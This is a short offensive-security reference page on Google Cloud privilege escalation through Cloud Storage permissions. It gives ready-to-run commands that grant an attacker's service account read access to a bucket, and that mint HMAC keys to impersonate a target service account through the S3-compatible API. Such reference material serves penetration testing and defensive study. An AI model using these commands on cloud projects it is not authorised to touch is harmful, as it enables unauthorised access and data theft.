> For the complete documentation index, see [llms.txt](https://www.techwithtyler.dev/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.techwithtyler.dev/cloud-security/gcp/gcp-offensive-security/gcp-privilege-escalation/cloud-storage.md).

# Cloud Storage

## storage.buckets.setIamPolicy

* With this permission on a bucket, an attacker can grant themselves (or any principal) access to the bucket and its contents.

{% code overflow="wrap" %}

```shell
gcloud storage buckets add-iam-policy-binding gs://<BUCKET-NAME> \
  --member=serviceAccount:<YOUR_SA>@<PROJECT>.iam.gserviceaccount.com \
  --role=roles/storage.objectViewer

gcloud storage cp gs://<BUCKET_NAME>/<OBJECT> -
```

{% endcode %}

***

## storage.hmacKeys.create

* With this permission on a target service account (or user), an attacker can generate an HMAC key for that SA.&#x20;
* HMAC keys can be associated with Service Accounts or Users and are used to create signatures which are then included in requests to the Cloud Storage XML API. HMAC keys are GCS's S3-compatible credentials, so the attacker can authenticate as the target SA via the AWS CLI (no JSON key, no `gcloud auth`) and access any bucket the target SA can read.

{% code overflow="wrap" %}

```shell
gcloud storage hmac create <TARGET_SA>@<PROJECT>.iam.gserviceaccount.com

AWS_ACCESS_KEY_ID=<ACCESS_ID> \
AWS_SECRET_ACCESS_KEY=<SECRET> \
aws s3 cp s3://<BUCKET_NAME>/<OBJECT> . \
  --endpoint-url https://storage.googleapis.com
```

{% endcode %}